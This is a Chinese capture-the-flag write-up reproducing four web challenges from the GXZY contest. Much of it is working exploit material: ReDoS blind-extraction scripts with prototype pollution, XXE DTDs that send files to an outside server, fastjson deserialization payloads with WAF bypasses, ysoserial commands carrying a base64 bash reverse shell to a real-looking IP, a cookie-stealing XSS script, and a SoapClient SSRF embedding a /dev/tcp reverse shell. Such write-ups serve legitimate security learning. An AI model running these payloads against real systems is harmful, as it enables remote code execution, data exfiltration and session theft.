高校战“疫”网络安全分享赛部分赛题复现

GXZY CTF 几道web题目和几道web预期解的复现

0x01 guess game redos解法

复现时题目环境已关,前面反弹shell后拷了题目的源码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
var express = require('express');
var ejs=require('ejs');

var app = express();

app.use(express.json()); // for parsing application/json
app.use(express.urlencoded({ extended: true }));// for parsing application/x-www-form-urlencoded
app.use('/static/',express.static("./static/"));
app.engine('html',ejs.__express);
app.set('view engine','html');


var config = {
"forbidAdmin" : true,
//"enableReg" : true
};
var loginHistory = [];
var adminName = "admin888";
var flag = "g3tFLAaGEAxY";


const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
for (let attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a;
}


function log(userInfo){
let logItem = {"time":new Date().toString()};
merge(logItem,userInfo);
loginHistory.push(logItem);
}


app.get('/log', function (req,res) {
if(loginHistory.length==0){
res.end("no log");
}else {
res.json(loginHistory);
}
});


app.get('/', function (req, res) {
res.end("ok");
//res.render("index");
});


//So terrible code~
app.post('/',function (req, res) {
if(typeof req.body.user.username != "string"){
res.end("error");
}else {
//console.log(req.body.user.username);
if(config.forbidAdmin && req.body.user.username.includes("admin")){
res.end("any admin user has been baned");
}else {
if(req.body.user.username.toUpperCase() === adminName.toUpperCase())
//only log admin's activity
console.log("yes");
log(req.body.user);
res.end("ok");
}
}
});

app.get('/verifyFlag', function (req, res) {
//res.render("verifyFlag");
});


app.post('/verifyFlag',function (req,res) {
//let result = "Your match flag is here: ";
let result = "Emm~ I won't tell you what happened! ";

if(typeof req.body.q != "string"){
res.end("please input your guessing flag");
}else{
let regExp = req.body.q;
if(config.enableReg && noDos(regExp) && flag.match(regExp)){
//res.end(flag);
//Stop your wishful thinking and go away!
}
if(req.query.q === flag)
result+=flag;
res.end(result);
}
});

function noDos(regExp) {
//match regExp like this will be too hard
return !(regExp.length>30||regExp.match(/[)]/g).length>5);
}

var server = app.listen(8081, function () {
var host = server.address().address;
var port = server.address().port;
console.log("http://%s:%s", host, port)
});

由于没有拷views目录下的文件,这里的render()就注释掉了,install express和ejs后题目既可以运行了,

这里参考了NU1L和de1ta的wp,然后这题有个merge()函数,

image-20200310210219757

和上回ichunqiu的那道nodejs题merge()函数一样,都可以进行原型链污染,然后我们找那里调用了log函数,

image-20200310210328089

只有在/路由在使用post方法时才会调用log函数,这里传入的是req.body.user,即我们post的data,调用这个函数,需要满足username变大写后与admin888相同,然后找可以进行污染利用的点,

image-20200310210634769

看到这里/veryfyFlag路由,这里会判断config.enableReg,

1
2
3
4
var config = {
"forbidAdmin" : true,
//"enableReg" : true
};

enableReg是未定义的,这里可以通过原型链污染绕过,然后后面把我们输入的q给了regExp,并通过noDos函数限制了我们输入的q。之后用q对flag进行匹配,这里就可以通过,nodejs的redos攻击来盲注出flag。

match() 方法检索返回一个字符串匹配正则表达式的的结果。

语法

1
str.match(regexp)

参数

  • regexp

    一个正则表达式对象。如果传入一个非正则表达式对象,则会隐式地使用 new RegExp(obj) 将其转换为一个 RegExp 。如果你没有给出任何参数并直接使用match() 方法 ,你将会得到一 个包含空字符串的 Array :[“”] 。

返回值

  • 如果使用g标志,则将返回与完整正则表达式匹配的所有结果,但不会返回捕获组。
  • 如果未使用g标志,则仅返回第一个完整匹配及其相关的捕获组(Array)。 在这种情况下,返回的项目将具有如下所述的其他属性。

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/match

参考

image-20200310212321951

就可以通过这种方式逐位盲注出后面的flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python 
# -*- coding: UTF-8
import requests
from time import time,sleep
depth = 5
pre = '(' * depth + '.' + '*)' * depth +'[^'
suf = ']$'
dict = "{}_0123456789abcdefghijklmnopqestuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
re = []
for c in dict:
r=requests.post('http://127.0.0.1:8081', json = {"user": {"username":"admın888", "__proto__": {"enableReg": True}}})
begin = time()
r=requests.post('http://127.0.0.1:8081/verifyFlag', json = {'q': pre + c + suf})
re.append([c, time() - begin])
sleep(0.1)
print(pre + c + suf)
print(len(pre + c + suf))
print(r.text)
re = sorted(re, key = lambda x: x[1])
for d in re[::-1][:3]:
print('[*] {} : {}'.format(d[0], d[1]))

image-20200310213622108

用这个脚本跑到盛前面两个的时候,跑不出了。

image-20200310215446654

然后改下前面的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python 
# -*- coding: UTF-8
import requests
from time import time,sleep
depth = 5
suf = ']'+'(' * depth + '.' + '*)' * depth +'tFLAaGEAxY'
pre = '['
dict = "{}_0123456789abcdefghijklmnopqestuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
re = []
for c in dict:
r=requests.post('http://127.0.0.1:8081', json = {"user": {"username":"admın888", "__proto__": {"enableReg": True}}})
begin = time()
r=requests.post('http://127.0.0.1:8081/verifyFlag', json = {'q': pre + c + suf})
re.append([c, time() - begin])
sleep(0.1)
print(pre + c + suf)
print(len(pre + c + suf))
print(r.text)
re = sorted(re, key = lambda x: x[1])
for d in re[::-1][:3]:
print('[*] {} : {}'.format(d[0], d[1]))

image-20200310215725486

之后又看了syclover的wp

"^(?=xxx)((.*)*)*aaaaa$"如果匹配到xxx会无限延时,用这个可以盲注flag,结尾不能是aaaaa即可, 无限延迟题目会挂,少一个括号即可 “^(?=xxx)(.)aaaaa$”

偷个图

img

0x02 baby java

这道题目考点是javaxxe和fastjson反序列化的漏洞,首先页面是这样,

image-20200311132610679

很酷炫,然后比赛就是不会做,burp截包可以看到这里用了xml格式来读取输入的数据,可以xxe,

1
2
3
<!DOCTYPE any [
<!ENTITY xxe "bbbbb">]>
<user><number>fffff</number><name>&xxe;</name></user>

image-20200311140115614

可以解析xml,比赛时测试带上&,%就会get out hacker ,以为把&和%都禁了,然后就没有然后了,还是对xxe的理解不够深入,然后继续测试,

1
2
3
<!DOCTYPE any [
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user><number>fffff</number><name>&xxe;</name></user>

image-20200311140602422

这里会触发waf,从这也可以看出,触发waf的时候会返回sus waf detect ! get out bad hacker ! hint: /hint.txt,而之前返回get out hacker 可能时因为语法问题等其他原因,这里过滤了file和ftp等,而且提示我们去读hint.txt,然后尝试外带xxe,这里参考

image-20200311140334086

开始看其他的wp上面说有用http读取了hint.txt,而且内容为pom.xml文件,以为是多行的,看了上面这篇文章后,http是不能读多行文件的,然后问了出题人tr1ple师傅,hint.txt是单行的,那么http和ftp应该都可以读了,

这里我们服务器放的hint.txt如下

image-20200311141839708
  • http
1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE any [
<!ENTITY % xxe SYSTEM "http://ip/gx.dtd">
%xxe;
]>
<user><number>fffff</number><name>aaa</name></user>

//gx.dtd
<!ENTITY % file SYSTEM "file:///hint.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:9999/?%file;'>">
%int;
%send;

image-20200311141959966

  • ftp
1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE any [
<!ENTITY % xxe SYSTEM "http://ip/gxzy.dtd">
%xxe;
]>
<user><number>fffff</number><name>aaa</name></user>

//gxzy.dtd
<!ENTITY % payload SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'ftp://ip:2121/%payload;'>">
%int;
%trick;

Inkedimage-20200311142521849_LI

按照比赛来这时我们得到了pom.xml文件,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
Method%uFF1A post
Path %uFF1A /you_never_know_the_path


<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.2.4.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.tr1ple</groupId>
<artifactId>sus</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>baby_java</name>
<description>Spring Boot</description>

<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-configuration2</artifactId>
<version>2.2</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>saxpath</groupId>
<artifactId>saxpath</artifactId>
<version>1.0-FCS</version>
</dependency>
<dependency>
<groupId>commons-configuration</groupId>
<artifactId>commons-configuration</artifactId>
<version>1.6</version>
</dependency>
<dependency>
<groupId>commons-lang</groupId>
<artifactId>commons-lang</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>org.apache.flex.blazeds</groupId>
<artifactId>flex-messaging-core</artifactId>
<version>4.7.3</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.48</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
<exclusions>
<exclusion>
<groupId>org.junit.vintage</groupId>
<artifactId>junit-vintage-engine</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>

<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>

</project>

这里可以看到有一个/you_never_know_the_path路径,还有1.2.48fastjson,还有这个commons-collections东东,然后查了下fastjson的最近的漏洞,这篇文章具体的分析了漏洞,然后这里就贴出payload,

1
{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"rmi://127.0.0.1:1099/Exploit\"}

然后用这个payload打的话,还是会触发waf,

image-20200311143155288

然后测试发现对type和prefix进行了过滤,从上面那篇文章可以知道

image-20200311143500149

那么就可以通过十六进制绕过type的过滤,然后就是prefix的绕过,

image-20200311144231267

图片来源

然后这里就通过在prefix前面加-来绕过,然后就是在vps上开一个JRMPListener,然后通过fastjson的漏洞触发服务器连接vps的JRMPListener,然后给服务器发送序列化的payload,触发服务器反序列化,最后rce。

payload:

1
2
java -cp ysoserial.jar ysoserial.exploit.JRMPListener  8888 CommonsCollections7 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMzQuMjAwLjE1MS81MDAwMCAwPiYx}|{base64,-d}|{bash,-i}'
java -cp ysoserial.jar ysoserial.exploit.JRMPClient 144.34.200.151 7777 CommonsCollections7 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMzQuMjAwLjE1MS81MDAwMCAwPiYx}|{base64,-d}|{bash,-i}'
1
{"@\x74ype":"org.apache.commons.configuration.JNDIConfiguration","-prefix":"rmi://ip:8888/Exploit"}

成功反弹shell。

image-20200311145143273

另外还有用在vps上开了一个LDAPServer,来反弹shell,由于java还不是太熟,这里没有复现,师傅有会的可以六个链接啥的,教教我这个菜鸡,

参考:http://ctf.njupt.edu.cn/382.html#hackme

0x03 happy vacation

前一篇文章已经记录了这道题的非预期解,比较简单,这道题的预期解是xss,接下来进行分析,

xss的触发点在index.php

image-20200312111745170

然后跟进lib.php中的showMessage

1
2
3
function showMessage(){
echo "<body><script> var a = '{$this->info->message}';document.write(a);</script></body>";
}

这里会把$this->info->message,输出出来,如果我们闭合这里的单引号,在后面加上js语句,就可以进行xss。然后继续看$this->info->message,这个值是

image-20200312112258374

我们get输入的message变量,然后调用leavemessage对输入进行检测后赋给$this->info->message。

image-20200312112213426

可以看到这里对message进行了addslashes处理,所以我们如果想闭合之前的单引号,就可以通过像sql注入中宽字节注入的方法,

image-20200312112846438

图片

然后就需要找到可以设置响应编码的地方,同时这道题还有一个eval的利用点,

image-20200312113714354

image-20200312113641620

会把我们输入的answer拼接到命令执行中,而且前面还用了clone浅复制

image-20200312113840370

所以我们可以在这里修改user的属性,然后分析lib.php中的go函数

image-20200312114156603

如果this->location不等于this->page,那么就会调用go()函数,go函数中会把pre after location 进行拼接,然后传给header,如果可以控制这三个变量,就可以在这里设置gb18130编码,达到宽字节注入。然后可以在本地测试,把源码中的//var_dump($user);注释删掉,可以更清晰的看出,

image-20200312114803092

在 quiz.php中52,53行

image-20200312115014677

url->page为index,如果这里传入的referer不等于index的话,就会把$referer赋给user->url->referer,然后在45,46行,如果$user->url->referer != $user->url->page,将user->url->referer赋给user->url->location,所以这里通过发送两次请求,就可以控制$user->url->location的值,然后就可以调用header函数,paylaod如下:

1
quiz.php?referer=Content-Type: text/html; charset=GBK; kkkk: &answer=user-%3Eurl-%3Epre

然后这里我们可以进行xss,但是在lib.php开头

1
<meta http-equiv="Content-Security-Policy" content="style-src 'self'; script-src 'unsafe-inline' http://<?=$_SERVER['HTTP_HOST']?>/; object-src 'none'; frame-src 'self'">

设置了csp,就不能在message直接传入我们vps或xss平台的链接了,然后这道题目还有一个文件上传的点,我们可以上传一个文件内容为

1
2
3
4
5
6
a = function(){
window.location = "http://ip:8888/"+document.cookie;
}
setTimeout(a,1);
//或
location.href="//xxxxxxx?c="+escape(document.cookie)

的文件,后缀可以设为txt,然后在index.php中传入message值:

1
index.php?message=%df%27;jscode;//

python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding:utf-8 -*-
import requests
cookie={"PHPSESSID":"e3sugtvfki7aketdnkofbt9odu"}
proxy={"http":"http:127.0.0.1:8080"}
theurl="http://192.168.35.158/gxzy-happyvacation/"
thejs="http://192.168.35.158/upload/56b6f09c50bfb4706563cdf3463a6cc3.txt"
def p(sth):
result = ""
for i in sth:
result += str(ord(i))
result += ","
return result[0:-1]
xss = p("<script src='$$$'></script>".replace("$$$",thejs))
r=requests.get(theurl+"index.php" + "?message=%df%27;document.write(String.fromCharCode($$$));//".replace("$$$",xss),cookies=cookie,proxies=proxy)
print r.content

然后再看ask.php

image-20200312120608437

这里会重定向到check.php,题目并没有给check.php内容,但是前面我们都已经连上马了,就可以看到check.php的具体内容

image-20200312120802997

然后看看bot.py

image-20200312120855917

bot会到这flag和我们的session_id去访问teacher.php,

image-20200312121003825

teacher.php就是调用了showMessage(),echo出 sesion_id对应的$this->info->message。本地复现的时候bot.py老是报错,然后就没有试,可以手工带上session_id访问teacher.php

image-20200312131931542

确实可以nc到。

0x04 not hardweb

非预期复现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
session_start();
error_reporting(0);
include "user.php";
include "conn.php";
$IV = "********";// you cant know that;
if(!isset($_COOKIE['user']) || !isset($_COOKIE['hash'])){
if(!isset($_SESSION['key'])){
$_SESSION['key'] = strval(mt_rand() & 0x5f5e0ff);
$_SESSION['iv'] = $IV;
}
$username = "guest";
$o = new User($username);
echo $o->show();
$ser_user = serialize($o);
$cipher = openssl_encrypt($ser_user, "des-cbc", $_SESSION['key'], 0, $_SESSION['iv']);
setcookie("user", base64_encode($cipher), time()+3600);
setcookie("hash", md5($ser_user), time() + 3600);
}
else{
$user = base64_decode($_COOKIE['user']);
$uid = openssl_decrypt($user, 'des-cbc', $_SESSION['key'], 0, $_SESSION['iv']);
if(md5($uid) !== $_COOKIE['hash']){
die("no hacker!");
}
$o = unserialize($uid);
echo $o->show();
if ($o->username === "admin"){
$_SESSION['name'] = 'admin';
include "hint.php";
}
}

如果直接把cookie中的PHPSESSID删掉,那么SESSION[‘key’]和SESSION[‘iv’]就为空,然后直接将我们通过key和iv为空伪造的cookie,传给服务器,直接就会变成admin.

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class User{
public $username;
function __construct($username)
{
$this->username = $username;
}
function show(){
return "username: $this->username\n";
}
}
$user = new User("admin");
$user= serialize($user);

$user1= base64_encode(openssl_encrypt($user, 'des-cbc', '', 0, ''));
echo $user1."\n";
echo md5($user);
1
2
user:b3hIekw5Mk82WTQwbUk1M3RHYThQR0V4UmVZeHVSdE1ranZRYk43eksyVXhaTnFQZ2l1YkRKc0dpd1Z5cUlzVg==
hash:abc2f600e79557ef90ca4e07516b486f

image-20200312135230044

image-20200312135406279

然后这道题之后就是用SoapClient 打内网了,

1
2
3
4
5
6
$location = 'http://10.10.1.12/index.php?cc=%60%24cc%60%3Bbash%20-c%20%27bash%20-i%20>%26%20%2Fdev%2Ftcp%2Fip%2F8081%200>%261%27%3B';
$a = new SoapClient(null, array('location' => $location ,'uri' => '123'));
$user = serialize($a);
$user1= base64_encode(openssl_encrypt($user, 'des-cbc', '', 0, ''));
echo $user1."\n";
echo md5($user);

然后再按之前的方法就可以反弹shell了。后面的没环境就不做了。

参考链接

https://www.gem-love.com/ctf/1884.html#happyvacation_16solved_571pt

http://nextcloud.chamd5.org/index.php/s/EYTZB4zgtqsfcge#pdfviewer

https://mp.weixin.qq.com/s/oqojw9VoXOVqV9EmoRQKiA

http://ctf.njupt.edu.cn/382.html#hackme

https://mp.weixin.qq.com/s/RjTsvUsx65YTMIg3jejXng